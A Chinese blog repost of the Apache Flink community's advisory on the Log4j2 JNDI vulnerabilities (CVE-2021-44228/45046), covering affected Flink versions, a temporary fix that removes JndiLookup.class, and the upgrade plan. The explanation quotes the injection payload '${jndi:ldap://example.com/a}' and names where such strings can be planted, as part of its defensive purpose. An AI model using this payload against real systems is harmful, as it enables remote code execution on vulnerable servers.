Log4j2 Zero Day 漏洞 Apache Flink 应对指南

最新推荐文章于 2023-04-11 09:30:51 发布
最新推荐文章于 2023-04-11 09:30:51 发布
阅读量2.2k 收藏
点赞数
文章标签： java 编程语言 python linux 人工智能
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44904816/article/details/122007497
版权

▼ 关注「ApacheFlink」视频号，遇见更多大咖 ▼

摘要：本文详细说明了 Log4j2 Zero Day 漏洞的影响，以及 Flink 社区的应对方案。主要内容包括：

  1. 漏洞说明

  2. Flink 用户可能受到的影响

  3. 受影响的 Flink 版本和临时解决方案

  4. Flink 社区修复计划

Tips：点击「阅读原文」查看更多技术干货～

概述

Apache Log4j 是基于 Java 的日志记录工具，Apache Log4j2 重写了 Log4j 并增加了很多丰富的特性。最近，由阿里云安全报告了 Apache log4j2 的 Zero Day 漏洞[1]，基于该漏洞，攻击者可以构造恶意请求，触发远程代码执行漏洞，目前该漏洞被 CVE-2021-44228[2] 追踪。Log4j 团队在发现该问题后马上发布了 2.15.0 版本，并给出了临时解决方案。

12 月 14 日，来自 Twitter 公司的团队发现并且报告了一个新的漏洞问题：CVE-2021-45046[17]。该漏洞表示 2.15.0 中对 CVE-2021-44228 的修复以及给出的临时解决方案并不完备，在某些配置条件下依然会被利用导致 DOS 攻击。随后 Log4j 团队又发布了 2.16.0 版本，并推荐受影响的软件升级至该版本，同时给出了新的临时解决方案。

上述漏洞的影响版本范围为 2.0-beta9 <= log4j2 <= 2.12.1 和 2.13.0 <= log4j2 <= 2.15.0。Apache Flink 在 1.10 及以前的版本中使用的是 Log4j 1.x 版本，可以认为不受影响。而 1.11 及以上版本中使用了 Log4j 2.x 版本，且均在受影响范围内。

接下来我们将首先简要阐述漏洞的细节和影响，然后会特别说明该漏洞对 Flink 用户可能产生的影响，最后将详细介绍 Flink 用户对该漏洞可采用的临时解决方案和 Flink 社区的修复计划。

一、漏洞说明


CVE-2021-44228

这个漏洞可以追溯到 Log4j 早年间引入的一个 Feature。2013 年，Log4j 在 2.0-beta9 版本[3] 中添加了 “JNDILookup plugin”[4] 功能。

Java 在 1990 年之后引入了 JNDI 作为一种目录服务，让 Java 程序可以以 Java 对象的形式通过目录查找数据。JNDI 提供了多种 SPI 支持不同的目录服务，如 CORBA COS (公共对象服务)、Java RMI (远程方法接口) Registry 和 LDAP (轻量级目录访问协议)。这些都是可能被 CVE-2021-44228/45046 漏洞利用的服务。

Java 程序可以结合使用 JNDI 和 LDAP 来查找包含可能需要的数据的 Java 对象。例如，在标准 Java 文档中有一个与 LDAP 服务器通信以检索对象属性的示例。即使用 “ldap://localhost:389/o=JNDITutorial” 这个 URL 从运行在同一台机器 (localhost) 上的端口为 389 的 LDAP 服务器中查找 JNDITutorial 对象，并继续从中读取属性。

根据 JNDI 官方帮助文档描述 “如果您的 LDAP 服务器位于另一台机器上或正在使用另一个端口，那么您需要编辑 LDAP URL”，LDAP 服务器可以在不同的机器上运行，也可以在 Internet 上的任何地方运行。这种灵活性意味着如果攻击者能够控制 LDAP URL，他们就能够让 Java 程序从他们控制的服务器加载对象。

在 Log4j 包含漏洞的版本中，攻击者可以通过传入类似 “${jndi:ldap://example.com/a}” 形式的字符串来控制 Log4j 访问的 LDAP URL。在这种情况下，Log4j 将连接到 example.com 上的 LDAP 服务器并检索对象。

Log4j 对 “${prefix:name}” 形式有特殊的语法解释，其中 prefix 是 Log4j 提供的多种 Lookups[5]中的一种，name 则对应在该 Lookup 下的一种执行属性。例如，${java:version} 是当前运行的 Java 版本。

而 LOG4J-313 增加的 JndiLookup 提供了通过 JNDI 检索变量的能力。在默认情况下，key 将以 “java:comp/env/” 这种形式作为 prefix。但当 key 中本身就包含额外的 “:” 时，则解析不到正确的 prefix 形式。例如字符串 “${jndi:ldap://example.com/a} ” 传入时，Log4j 将检测不到正确的 prefix，由于 Message Lookup 机制，其行为会变成在 LDAP 服务器中查询目标对象。

因此，攻击者只需要找到一个可能被打印的输入并在其中添加类似 “${jndi:ldap://example.com/a}” 的字符串。比如攻击者可能将攻击字符串插入到类似 User-Agent 的 HTTP header 中、类似 username 的表单参数中等。

这种方式在基于 Java 的面向 Internet 的应用中很常见。更令人窒息的是，这种数据可能会从一个系统传递到另一个系统中，导致使用 Java 的非面向 Internet 的应用也会中招。

例如，一个利用该漏洞的 User-Agent 的字符串可以传递到使用 Java 编写的后端系统中，该系统可能会基于漏洞数据建立索引或数据分析，而这些过程中漏洞数据有可能也会被 Log4j 打印，进而造成严重的影响。因此，所有使用 Log4j2 的基于 Java 开发的软件都应该进行马上采取修补措施，否则潜在的威胁很大。即使面向 Internet 的软件不是用 Java 编写的，恶意字符串也有可能会被传递到其他使用 Java 编写的系统中从而产生严重问题。例如一个基于 Java 编写的记账系统，它可能在找不到客户的名字时进行打印。而攻击者可以创建一个包含漏洞信息的客户名字的订单，而该漏洞信息很可能会在 Web 服务器、数据库系统中传递并最后进入账单系统中，链路中的各个系统都可能受到影响。

此外，Java 除了在面向 Internet 的系统中使用外，也在很多其他场景中被使用。例如一个包裹处理系统上的 QR 码或者一个非接触式门的电子钥匙，如果它们用 Java 编写并使用了 Log4j，那么都很有可能被攻击。一个精心制作的二维码可能包含一个漏洞信息的邮政地址，一个精心编码的电子钥匙可能带有漏洞利用的恶意程序，直接跟踪我们的进出的记录。

还有一些包含定时任务的系统可能不会马上处理该漏洞信息，在该定时任务汇总、存档过程打印该恶意字符串之前，该漏洞可能会一直处于休眠状态。而在数小时甚至数天后才会触发到该漏洞并造成严重影响。


CVE-2021-45046

这个漏洞由 Twitter 发现。2.15.0 版本对 CVE-2021-44228 的修复和 Log4j 团队之前给出的建议并不能完全避免该漏洞的影响。其原因是当日志配置中使用了一些非默认的 Pattern Layout (Context lookup 或者 Thread Context Map pattern) 时，攻击者可以利用该模式注入恶意数据。

如果日志配置中存在上述的 Pattern Layout，基于 “log4j2.formatMsgNoLookups=true” 的方案并不能阻止恶意数据利用 JndiLookup 去触发 CVE-2021-44228，即使 2.15.0 中限制 JNDI LDAP Lookup 的范围在 Localhost，依然会面临 DOS 攻击的风险。

二、Flink 用户可能受到的影响

使用 1.11 及以上版本的 Flink，会受到该漏洞的影响。如上一章节中所述，虽然大部分使用场景下 Flink 并不直接面向 Internet，但攻击字符串可能会从其他系统直接传入到 Flink (即使其他系统已经做了一些防范措施) 并由 Flink 中的 UDF 进行处理，而这个过程中的 Record 相关的打印操作就会触发该漏洞 (事实上，这种打印操作在实际应用中很常见)，进而造成严重影响。

ad6f7f5e961e66b6031d1fa78e85fdfb.png

以常见的日志分析场景为例，我们经常见到在 UDF 中打印 Record 的相关信息的操作，当攻击字符串 (如 ${jndi:ldap://example.com/a}) 从 Kafka 传递到 Flink 中被这些 UDF 处理时，会直接导致作业执行环境中的节点受到影响。类似的消息传递一方面不受报文传递加解密的限制 (UDF 在处理经过加密的消息时会先解码)，另一方面不需要 Flink 作业的提交权限而是可以直接在上游注入。因此对于 Flink 系统，尤其是对可访问外网且缺乏安全容器隔离能力的执行环境来说，具备很高的威胁。

三、受影响的 Flink 版本

和临时解决方案


目前 Flink 各个已发布版本使用的 log4j 版本详情如下：

06d794faf1f99afe3bc55be9b24b16c7.png

可以看到，Flink 在 1.11 及以上的版本使用的均是 2.x 的 Log4j 版本，因此均会受影响，而 1.10 及以下的版本可以认为不受影响。目前社区已积极响应修复该问题，详细修复计划将在下一章节介绍。

在社区尚未发布对应修复版本之前，需要采用 Log4j 团队建议的方式解决，即使用：

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

将 Flink 中依赖的 log4j-core 里的 JndiLooup.class 删除，以达到 2.16.0 中禁用 JNDI 的效果。

需要注意以下三点：

  1. 该修复过程需要停止作业，在做完修复后重启。

  2. 对于 Apache Log4j 的 Zero Day 问题，虽然之前有其他的临时解决方法[6][7] ，但目前只有上面这种方式能完全避免该漏洞的影响。

  3. 建议在社区发布修复版本后，尽快批量升级作业至对应的版本。

四、Flink 社区修复计划


目前 Log4j 已发布了 2.15.0 和 2.16.0 版本，具体修复内容如下：

f1b2f8056be39978ffa45fa40f15ea73.png

Flink 社区在得知这个漏洞后，马上讨论了修复计划[14]，社区先将 master 分支中 Log4j 的版本升级至 2.15.0，同时 pick 了该修复到 1.14.1，1.13.4，1.12.5，1.11.4[12]，目前这些版本已经发布，用户可以直接使用，例如 https://search.maven.org/artifact/org.apache.flink/flink-core/1.14.1/jar

但考虑到 Log4j 的 2.16.0 版本才能更彻底地解决该问题，社区将 master 分支中 Log4j 的版本进一步升级至 2.16.0，同时 pick 该修复到 1.14.2，1.13.5，1.12.7，1.11.6[13]。目前这些新版本的投票已完成，相信会尽快完成发布[14][15][16]。

在 Flink 社区发布 Log4j 2.16.0 对应的各个修复版本后，用户只需要将作业使用的 Flink 版本进行升级，即可完全避免该问题。

参考

[1] Apache Log4j Vulnerability Details and Mitigation

https://www.cyberkendra.com/2021/12/apache-log4j-vulnerability-details-and.html

[2] CVE-2021-44228

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

[3] Apache Log4j 2.0-beta9 released

https://blogs.apache.org/logging/entry/apache_log4j_2_0_beta9

[4] LOG4J2-313

https://issues.apache.org/jira/browse/LOG4J2-313

[5] LOG4J Lookups

https://logging.apache.org/log4j/2.x/manual/lookups.html

[6] Advise on Apache Log4j Zero Day (CVE-2021-44228)

https://flink.apache.org/2021/12/10/log4j-cve.html

[7] CVE-2021-44228 Solution

https://stackoverflow.com/questions/70315727/where-to-put-formatmsgnolookups-in-log4j-xml-config-file/70315902#70315902

[8] LOG4J2-3198

https://issues.apache.org/jira/browse/LOG4J2-3198

[9] LOG4J2-3201

https://issues.apache.org/jira/browse/LOG4J2-3201

[10] LOG4J2-3208

https://issues.apache.org/jira/browse/LOG4J2-3208

[11] LOG4J2-3211

https://issues.apache.org/jira/browse/LOG4J2-3211

[12] Update log4j2 version to 2.15.0

https://issues.apache.org/jira/browse/FLINK-25240

[13] Update Log4j to 2.16.0

https://issues.apache.org/jira/browse/FLINK-25295

[14] [DISCUSS] Immediate dedicated Flink releases for log4j vulnerability

https://lists.apache.org/thread/j15t1lwp84ph7ftjdhpw4429zgl13588

[15] [VOTE] Release 1.11.5/1.12.6/1.13.4/1.14.1, release candidate #1

https://lists.apache.org/thread/64tn3d38ko4hqc9blxdhqrh27x3fjro8

[16] [VOTE] Release 1.11.6/1.12.7/1.13.5/1.14.2, release candidate #1https://lists.apache.org/thread/3yn7ps0ogdkr1r5zdjp10zftwcpr1hqn

[17] CVE-2021-45046

https://nvd.nist.gov/vuln/detail/CVE-2021-45046

更多 Flink CDC 相关技术问题，可扫码加入社区钉钉交流群～

9a3a4a1eac61e63f59499efc30a71909.png

近期热点

16a48ec7c7cf832699fd95c6f5bfd078.png

▼ 关注「Apache Flink」，获取更多技术干货 ▼

更多 Flink 相关技术问题，可扫码加入社区钉钉交流群～

7252142c848cca4d899ce9d0569ce240.png

 5a8b6bb8b3fb00476445f07a21993282.gif  戳我，查看更多技术干货～

Apache Flink
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【漏洞复现】log4j2 CVE-2021-44228
zg_111的博客
03-20 2481
【漏洞复现】log4j2 CVE-2021-44228漏洞复现
【flink 床头书系列】flink log日志管理使用
最新发布
wang2leee的博客
10-11 730
所有的Flink进程都会创建一个包含该进程中各种事件消息的日志文本文件。这些日志提供了对Flink内部工作原理的深入了解，可以用于检测问题（以WARN/ERROR消息形式）并帮助调试。
Flink使用log4j.properties不打印日志问题
weixin_47825079的博客
04-11 1737
日志配置文件选择使用log4j.properties flink程序不打印日志。
spring_boot log4j2
weixin_43285931的博客
12-05 232
spring_boot整合Log4j2 找到第一个启动器 <exclusions> <!--排除logging--> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging&l...
Log4j2漏洞检测工具
02-06
Apache log4j 2是一款开源的Java日志记录框架,提供方便的日志记录，通过定义每一条日志信息的级别，能够更加细致地控制日志生成过程，以便用于编写程序时进行调试，在项目上线后出现状况时也可根据日志记录来判断...
ApacheBeam实战指南|玩转KafkaIO与Flink
01-27
HBase、Hive、Kafka、Spark、Flink等。开发者经常要用到不同的技术、框架、API、开发语言和 SDK来应对复杂应用的开发，这大大增加了选择合适工具和框架的难度，开发者想要将所有的大数据组件熟练运用几乎是一项不...
Flink部署——自定义KafkaLog4jAppender
京河小蚁的博客
06-28 1044
官网日志地址本章内容基于flink1.7 ，log4j1.x依赖
突发！Log4j 爆“核弹级”漏洞，Flink、Kafka等至少十多个项目受影响
Java 架构师之路
12-11 3255
点击关注公众号，Java干货及时送达????作者 | 褚杏娟这两天，你熬夜应急了吗？昨晚，对很多程序员来说可能是一个不眠之夜。12 月 10 日凌晨，Apache 开源项目 Log4j ...
突发！Log4j 爆“核弹级”漏洞，Flink 等项目受影响，提供 Flink 解决方法，赶紧修！...
http://www.54tianzhisheng.cn/
12-11 660
昨天，你应急了吗？昨晚，对很多程序员来说可能是一个不眠之夜。12 月 10 日凌晨，Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开，由于 Log4j 的广泛使用，该漏...
【Flink】CDH/CDP Flink on Yarn 日志配置
Mrerlou的博客
06-07 2846
由于 应用程序大多是长时间运行的作业，因此 和 文件的大小很容易增长到数 GB，这可能会在您查看 上的内容时出现问题。这篇文章整理了如何为 启用 和 的滚动日志记录。这边文章为在 环境下的配置，并且这篇文章适用于 集群和 。 使用的默认日志是 Log4j，配置文件的如下：默认情况下， 没有配置滚动文件附加程序。进入 Cloudera Manager -> Flink -> Configuration -> Flink Client Advanced Configuration Snippe
Log4j2安全 JNDI漏洞 CVE-2021-44228
Keep learing, and stay fast
12-15 1558
12 月 10 日，Apache 开源项目 Log4j 的远程代码执行漏洞（CVE-2021-44228） 被公开
分析GC日志和Jstack文件的网站
zl
09-11 594
GC日志 gceasy.io Jstack日志 fastthread.io
log4j配置_Flink 1.11 日志文件该如何配置？
weixin_39540315的博客
11-24 2371
点击上方 "zhisheng"关注,星标或置顶一起成长Flink 从入门到精通系列文章Flink 1.11 之前在 Flink 1.11 之前，Flink 使用的日志是 Log4j，配置文件 log4j.properties 中的内容如下：# This affects logging for both user code and Flinklog4j.rootLogger=INFO,...
log4j2漏洞
thinker
12-12 5235
这个漏洞到底是怎么回事？ 怎么利用这个漏洞呢？ 我看了很多技术分析文章，都太过专业，很多非Java技术栈或者不搞安全的人只能看个一知半解，导致大家只能看个热闹，对这个漏洞的成因、原理、利用方式、影响面理解的不到位。 这篇文章，我尝试让所有技术相关的朋友都能看懂：这个注定会载入网络安全史册上的漏洞，到底是怎么一回事！ log4j2 不管是什么编程语言，不管是前端后端还是客户端，对打日志都不会陌生。 通过日志，可以帮助我们了解程序的运行情况，排查程序运行中出现的问题。 在Java技术栈中，用的比较
flink实战--flink日志框架配置与使用详解
阿华田的博客
12-04 2627
Flink 日志框架 在 Flink 1.11 之前，Flink 使用的日志框架是 Log4j，配置信息在flink/conf/log4j.properties中。配置文件会将 JobManager 和 TaskManager 的日志分别打印在不同的文件中。Flink 1.11.1 版本对 UI 进行了优化,会将JobManager 和 TaskManager 的日志都打印在一个文件里面,但任务跑时间长的话,日志文件会非常大,查看日志页面时出现卡顿的情况,所以可...
Flink本地DEBUG日志输出到控制台
weixin_42412645的博客
07-21 9548
最近在读Flink源码，于是在本地DEBUG自带的例子源码，但是程序的日志输出级别是INFO，其中很多DEBUG级别的日志是不输出到控制台。怎样来修改日志级别让其输出到控制台方便阅读源码。于是在网上查看了一下Flink使用的log4j日志框架，设置log4j日志级别必须要log4j的配置文件。在编译好的源码中竟然有这个配置文件，那只要修改这个文件就可以在本地控制台看到DEBUG级别的日志了。 l...
Log4j2 zero day(CVE-2021-44228) 漏洞浅析
swf3389的博客
12-18 3043
引言: 不管是什么编程语言，不管是前端后端还是客户端，对打日志都不会陌生。通过日志，可以帮助我们了解程序的运行情况，排查程序运行中出现的问题。在Java技术栈中，用的比较多的日志输出框架主要是log4j2和logback。我们经常会在日志中输出一些变量，比如：logger.info(“proj name: {}”, name),那作为一个优秀的全异步日志框架log4j2是否就是完美无瑕的呢?No,当然不是,最近全球知名开源日志组件 Apache Log4j2 被阿里团队曝出严重高危漏洞。该漏洞号称可以让黑客
Log4j使用配置记录
林zero的专栏
08-01 360
之前一直是做Android的，现在想稍微学点服务器的东西，幸好Android也是用Java写的，上手问题不是很大，Java最大的优势就是开源，有令人眼花缭乱的开源项目，各种成熟好用的包。 Log4j是Apache的一个开源项目，我们可以用它来控制日志信息在控制台、文件等的输出，输出格式可由开发者自己定义，而要实现这些只需要一个配置文件就能实现。 简单使用 1、下载Jar包 在Apache下
flink log4j2
08-16
Flink 是一个开源的大数据处理框架，而 Log4j2 是一个流行的日志管理工具。在 Flink 中使用 Log4j2 可以实现更好的日志记录和管理。 首先，Flink 默认使用 slf4j 作为日志门面框架，并提供了一个简单的 Logger 接口供用户使用。但对于一些专业的日志需求，Log4j2 是一个更强大的选择。可以使用 Log4j2 的配置文件来定义不同的日志级别、输出目标（控制台、文件等）和格式，以满足不同环境和需求的日志记录。 其次，使用 Log4j2 可以更好地管理 Flink 的日志输出。通过配置文件，可以将日志记录到不同的文件中，以便于对不同组件或任务的日志进行分别查看和管理。此外，Log4j2 还提供了一些高级特性，如异步日志记录、日志滚动等，可以提高日志记录的效率和可靠性。 最后，在集群模式下运行 Flink 时，Log4j2 也能很好地处理分布式环境下的日志管理。可以使用 Log4j2 的 SocketAppender 将日志发送到中心的日志收集器，或使用 Log4j2 的 FlumeAppender 将日志发送到 Apache Flume 进行聚合和存储。 总之，使用 Log4j2 可以为 Flink 提供更强大、灵活的日志记录和管理功能，同时满足不同环境下的日志需求。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值